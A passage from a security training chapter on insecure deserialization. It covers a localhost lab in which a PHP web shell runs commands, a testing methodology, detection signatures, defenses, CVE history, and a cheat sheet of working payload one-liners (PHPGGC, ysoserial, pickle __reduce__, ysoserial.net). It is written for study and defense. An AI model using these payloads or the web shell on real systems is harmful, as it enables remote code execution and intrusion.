# Hello, (not admin) <-- the app doesn't recognise it as a Session; doesn't matter.
ls -l ~/deser-lab/shell.php
# -rw-r--r-- 1 kali kali 28 ... /home/kali/deser-lab/shell.php <-- WRITTEN by __destruct
# The built-in PHP server executes .php in its docroot; hit the shell:
curl -s "http://127.0.0.1:8888/shell.php?c=id"
# uid=1000(kali) gid=1000(kali) groups=1000(kali)...
curl -s "http://127.0.0.1:8888/shell.php?c=uname%20-a"
# Linux kali 6.x ... x86_64 GNU/LinuxYou went from "a base64 cookie" to arbitrary command execution using nothing but a class the app already defined. Tear down the lab when done:
kill %1 2>/dev/null # stop php -S
rm -rf ~/deser-lab # remove the whole labWhat to take from the lab: the deserializer instantiated an attacker-chosen class (Logger) with
attacker-chosen properties, and its magic method (__destruct) reached a dangerous sink
(file_put_contents). Swap file_put_contents for system, call_user_func, or a multi-object chain
(Part 5) and the same mechanics produce RCE across every language in this chapter.
Part 11: Finding These Bugs — A Testing Methodology
Deserialization is a detection problem as much as an exploitation one; the exploitation is well-tooled once you've found the sink. A repeatable methodology:
flowchart TD
A["Enumerate inputs:<br/>cookies, params, headers,<br/>hidden fields, WS, queues"] --> B["Decode & fingerprint<br/>(Part 3 magic markers)"]
B --> C{Native object<br/>format?}
C -->|Yes| D["High-priority: attempt<br/>blind detect (URLDNS /<br/>DNS callback in blob)"]
C -->|No / JSON| E["Look for polymorphic type<br/>hints ($type/@class/!!python)"]
D --> F["Fingerprint libs on<br/>classpath / framework"]
E --> F
F --> G["Select gadget chain<br/>(ysoserial / phpggc / etc.)"]
G --> H["Prove impact benignly<br/>(id / DNS), then report"]
Concrete steps and tips:
- Enumerate every place bytes cross into the app and could be deserialized: session cookies,
"remember me" tokens, hidden form fields (
__VIEWSTATE), custom headers, API bodies, WebSocket frames, file uploads that get loaded (e.g..pklmodels,.serfiles), and message-queue payloads. - Decode aggressively. Base64, URL-decode, gunzip, then look for the magic markers in Part 3. Burp
Inspector,
CyberChef, and theFreddy/Java Deserialization Scanner/HackvertorBurp extensions automate this. Freddy specifically flags and helps exploit Java/.NET deserialization in requests. - Try safe blind detection first. For Java, send a
URLDNSpayload and watch Collaborator/interactshfor a DNS hit — it needs no gadget library and causes no code execution. For any language, a payload that forces an outbound DNS/HTTP callback (via a URL-fetching gadget) confirms the sink without RCE. This is both safer and more reliable than blindly firing RCE chains. - Fingerprint dependencies. Error stack traces,
/vendor/,composer.lock, JS bundle contents,Server/framework headers, and known CVEs tell you which gadget chains might land. Try chains in order of likelihood. - Escalate to a benign proof.
id,hostname, a DNS callback, or reading a non-sensitive file. Never run destructive commands, never pivot beyond scope, and capture just enough to prove the finding. On bug bounties, a Collaborator hit plus the request that caused it is usually sufficient evidence — spell out the impact in the report rather than demonstrating it destructively.
CTF note: deserialization is a staple of web CTF categories (picoCTF, HTB, THM). PHP challenges hand
you the source, so you can read the class definitions and build the exact POP chain by hand — great
practice for reading a real composer dependency's gadget potential.
Part 12: Detection & Defense Angle
Everything above is offense. This consolidated section is how a blue team detects, prevents, and responds to insecure deserialization — the material that turns a finding into a fix.
Prevention — in priority order
- Don't deserialize untrusted data with a native object serializer. The only fully reliable defense
is architectural: never feed attacker-controllable bytes to
unserialize()/ObjectInputStream/pickle.loads/Marshal.load/BinaryFormatter. Prefer data-only formats (JSON, Protocol Buffers, MessagePack) with schemas, parsed into plain data structures your code then validates — never into arbitrary typed objects. - If you must deserialize objects, use an allow-list. Restrict deserialization to a known-good set
of classes and reject everything else before instantiation:
- Java: use a look-ahead
ObjectInputStreamthat overridesresolveClass()to allow only approved classes (Apache Commons IOValidatingObjectInputStream, or the built-inObjectInputFilter/-Djdk.serialFilter=allow-list introduced in JEP 290). Deny by default. - PHP:
unserialize($data, ['allowed_classes' => false])(or an explicit array) forbids object instantiation, neutralising object injection. - .NET: abandon
BinaryFormatter(Microsoft's own guidance); if using Json.NET keepTypeNameHandling = None; if polymorphism is unavoidable, use a strictSerializationBinderallow-list. - Python: don't unpickle untrusted data at all; if unavoidable, restrict globals via a custom
Unpickler.find_classallow-list. Useyaml.safe_load, neveryaml.loadwith the default loader.
- Java: use a look-ahead
- Integrity-protect any serialized blob that round-trips through the client. If you must send serialized state to the client, sign it (HMAC with a server-only key) and verify the signature before deserializing, so tampered blobs are rejected up front. (Signing raises the bar but does not make deserializing a native format safe — an attacker with the key still gets RCE; allow-listing is still required.)
- Keep dependencies patched and minimal. Most Java/PHP/.NET RCE chains exploit library gadgets
(Commons Collections, Groovy, Monolog,
ObjectDataProvider). Remove unused libraries; patch the ones you keep. Fewer gadgets on the classpath means fewer chains that land. - Run with least privilege and egress control. A deserialization RCE inherits the app's privileges; run the app as a low-privileged user, in a container/seccomp/AppArmor sandbox, with restricted outbound network egress so a URLDNS/JRMP callback and second-stage payloads are blocked.
Detection — telemetry and signatures
| Signal | Where | What it indicates |
|---|---|---|
rO0AB / AC ED 00 05 in requests |
WAF, proxy, app logs | Java serialized data crossing a boundary |
AAEAAAD///// in requests |
WAF, app logs | .NET BinaryFormatter payload |
O: / Tzo in cookies/params |
app logs | PHP serialized object from client |
pickle opcodes / \x80\x04 |
app logs, queue payloads | Python pickle from an untrusted source |
ClassNotFoundException, unexpected class loads |
app/JVM logs | Gadget chain attempting to load an unusual class |
Web server process spawning sh/cmd/powershell |
EDR, auditd, Sysmon |
Deserialization → command execution |
| Outbound DNS/JRMP from an app server that shouldn't make them | network/DNS logs | Blind deserialization callback (URLDNS/JRMP) |
Blue-team usage: a WAF rule for rO0AB / AAEAAAD///// / pickle magic in inbound bodies and
cookies catches a lot of opportunistic scanning, and JEP 290 serialization filters plus EDR rules for
java/w3wp/php-fpm spawning shells catch the exploitation stage. IR use case: when triaging a
suspected deserialization RCE, pull the raw request bodies (not just URLs) from proxy/WAF logs, look for
the magic markers, and correlate with process-creation events on the app host — the serialized blob in
the request plus a child shell process is a clean, high-confidence story.
Part 13: Real-World Impact, CVEs, and Where It Hides
Insecure deserialization is not academic — it underpins a long line of critical, widely-exploited CVEs:
- Apache Struts — several RCEs; the class became infamous partly through Struts and the 2017 Equifax breach lineage of "web framework RCE."
- Oracle WebLogic (e.g. CVE-2015-4852 and a long series after) — T3/IIOP Java deserialization RCEs, repeatedly weaponised by commodity crypto-miners and ransomware crews.
- Apache Commons Collections — not a CVE in itself but the gadget library behind a generation of Java RCEs (JBoss, WebSphere, Jenkins, Jira).
- Jenkins — multiple deserialization RCEs via its remoting/CLI.
- Telerik UI
RadAsyncUpload(CVE-2019-18935) — .NET deserialization RCE, heavily exploited in the wild against ASP.NET sites. - ASP.NET ViewState / Exchange / SharePoint —
__VIEWSTATELosFormatterdeserialization RCE whenmachineKeyis known or leaked (a recurring Exchange/SharePoint critical). - Python ML supply chain — untrusted
pickle/torchmodel files executing code on load, a now-mainstream concern that pushed the ecosystem towardsafetensors.
The through-line: wherever a framework quietly rehydrates objects from a place an attacker can reach —
a cookie, a ViewState, a management protocol, a message queue, a model file — the deserialization
becomes a remote code execution primitive. When you audit an application, map every rehydration point
and ask "what happens if I control these bytes?"
Part 14: Common Pitfalls & Gotchas
- Wrong PHP length prefixes. Editing a serialized string's contents without fixing its
s:<len>prefix makesunserialize()returnfalse. Let a script serialize for you, or recount bytes (including NULs in private/protected keys) carefully. - Forgetting NUL bytes in private/protected keys.
\x00Class\x00propand\x00*\x00propmust include literal NUL bytes; typing a visible*won't work. - Assuming JSON is always safe. Polymorphic type handling (Json.NET
TypeNameHandling, Jackson default typing,!!pythonYAML tags,@class/@typehints) turns "just JSON/YAML" into object injection. Check the parser configuration, not just the format. - Firing RCE chains blind. Leading with a destructive RCE payload on a live target is both risky and
a poor test. Use
URLDNS/DNS-callback detection first; it's safe, needs no gadget library, and reliably confirms the sink. - Wrong ysoserial chain for the classpath.
CommonsCollections1fails if the target has CC 4.x or a patched 3.x; match the chain to the actual dependency version. If unsure,URLDNSproves the bug even when you can't yet find an RCE chain. __wakeupguard bypasses. Some classes add a defensive__wakeupthat resets fields; historically bugs (e.g. CVE-2016-7124) let attackers skip__wakeupby declaring more properties in the object header than are actually present. Know that guard methods have been bypassable.- Compression/encoding layers hiding the blob. A base64 string starting
H4sI(gzip) oreJ(zlib) must be decompressed before you'll see the serialized magic bytes. Don't conclude "not serialized" until you've peeled every layer. - Overwriting length when a chain needs
fast-destruct. In PHP some chains require the object to be destructed early; PHPGGC's-fflag exists for exactly this. If a chain "should" work but nothing fires, try the fast-destruct variant.
Part 15: Final Revision / Summary
- Serialization flattens an object graph to bytes; deserialization rebuilds it. Native object
formats (PHP
serialize, JavaObjectInputStream, Pythonpickle, RubyMarshal, .NETBinaryFormatter) reconstruct typed objects and run lifecycle/magic methods, which is what makes deserializing untrusted data dangerous. Data-only formats (JSON, protobuf) are far safer — unless polymorphic type handling is enabled. - The vulnerability is arbitrary class instantiation with attacker-controlled fields, plus automatic
invocation of magic methods (
__wakeup/__destruct,readObject,__reduce__,_load,OnDeserialized). Chaining legitimate classes from a kick-off magic method to a dangerous sink is a POP / gadget chain. - Fingerprint on the wire by magic markers: PHP
O:/Tzo, JavaAC ED/rO0, pickle\x80/c..R., Ruby\x04\x08/BAg, .NETAAEAAAD/////, and JSON type hints$type/@class/!!python. - Tooling: PHPGGC (PHP), ysoserial (Java, incl.
URLDNSfor safe blind detection), ysoserial.net (.NET incl. ViewState), pickle__reduce__payloads (Python), Marshal universal gadgets (Ruby), node-serialize / prototype-pollution gadgets (Node.js). - Impact spans privilege escalation and object injection through to full RCE; even without an RCE gadget, controlled object graphs yield SSRF, arbitrary file read/write, auth bypass, and DoS.
- Defense, in order: don't deserialize untrusted native objects at all → use data-only formats → if
you must, allow-list classes (JEP 290/
ObjectInputFilter, PHPallowed_classes, .NETSerializationBinder, Pythonfind_class) → integrity-protect client round-trips → patch/minimise dependencies → least privilege + egress control.
Part 16: Cheat Sheet / Quick Reference
Format magic markers
| Format | Raw | Base64 prefix |
|---|---|---|
| PHP | O: a: s: |
Tzo YTo czo |
| Java | AC ED 00 05 |
rO0 (rO0AB) |
| Python pickle | \x80\x04 / c..\n(..tR. |
gAS / gAJ |
| Ruby Marshal | \x04\x08 |
BAg |
| .NET BinaryFormatter | 00 01 00 00 00 FF FF FF FF |
AAEAAAD///// |
| .NET ViewState | /wEP... |
/wE |
| gzip / zlib wrapper | — | H4sI / eJ |
PHP serialize grammar: O:<len>:"Class":<n>:{ key;value; ... } · s:<len>:"str"; ·
i:<int>; · b:<0|1>; · d:<float>; · a:<n>:{...} · N; · private key \x00Class\x00prop ·
protected key \x00*\x00prop.
PHP magic methods: __wakeup (after load) · __unserialize · __destruct (GC) · __toString
(string context) · __call/__get.
Tool one-liners
# PHP — PHPGGC
./phpggc -l # list chains
./phpggc -i Monolog/RCE1 # inspect a chain
./phpggc -b -u Monolog/RCE1 system id # base64+urlenc payload running id
# Java — ysoserial
java -jar ysoserial-all.jar # list chains
java -jar ysoserial-all.jar URLDNS "http://x.oastify.com" > u.bin # SAFE blind detect
java -jar ysoserial-all.jar CommonsCollections6 'id' > cc6.bin # RCE (needs CC3.1)
base64 -w0 cc6.bin # for cookie/param delivery
# Python — pickle RCE
python3 -c "import pickle,os,base64;print(base64.b64encode(pickle.dumps(type('R',(),{'__reduce__':lambda s:(os.system,('id',))})())).decode())"
# .NET — ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -p ViewState -g ObjectDataProvider -c "cmd /c whoami" --validationkey=<hex> ...Defense quick list: JSON/protobuf over native serializers · Java ObjectInputFilter /
-Djdk.serialFilter allow-list (JEP 290) · PHP unserialize($d,['allowed_classes'=>false]) · .NET drop
BinaryFormatter, TypeNameHandling=None · Python yaml.safe_load, no untrusted pickle · HMAC-sign
client round-trips · patch & prune dependencies · least privilege + egress control.
Part 17: Practice Labs & Resources
Train this chapter's exact skills on labs that actually exercise deserialization:
- PortSwigger Web Security Academy — Insecure deserialization (the definitive free track): "Modifying serialized objects" (PHP cookie tamper), "Modifying serialized data types", "Using application functionality to exploit insecure deserialization", "Arbitrary object injection in PHP", "Exploiting Java deserialization with Apache Commons" (ysoserial), "Exploiting PHP deserialization with a pre-built gadget chain" (PHPGGC), "Developing a custom gadget chain" (Java and PHP), and the documented-vs-blind ViewState-style challenges.
- PortSwigger — Prototype pollution track (client-side and server-side) for the Node.js angle in Part 9.
- HackTheBox / TryHackMe: rooms and boxes featuring Java/PHP deserialization and ViewState RCE (e.g.
THM "Insecure Deserialisation" / OWASP Top 10 rooms; HTB machines tagged deserialization and
__VIEWSTATE). - picoCTF / web CTF archives: PHP
unserializesource-review challenges where you build the POP chain by hand — ideal for cementing the grammar from Parts 4–5. - Tools to install and practise with:
phpggc(ambionics),ysoserial(frohoff),ysoserial.net, the Burp extensions Java Deserialization Scanner and Freddy, andGadgetInspectorfor discovering new Java chains in a target classpath. - Reference reading: the OWASP "Deserialization Cheat Sheet", the Python
picklesecurity note, Microsoft'sBinaryFormatterobsolescence guidance, and Oracle's JEP 290 serialization filtering documentation.
The next chapter continues the Server-Side notebook's arc into further server-side attack surface; the mental model you built here — attacker-controlled bytes driving a privileged server-side operation — carries directly forward. Master the fingerprint markers and the kick-off→sink chain mindset, and insecure deserialization stops being intimidating and becomes just another input you learn to read.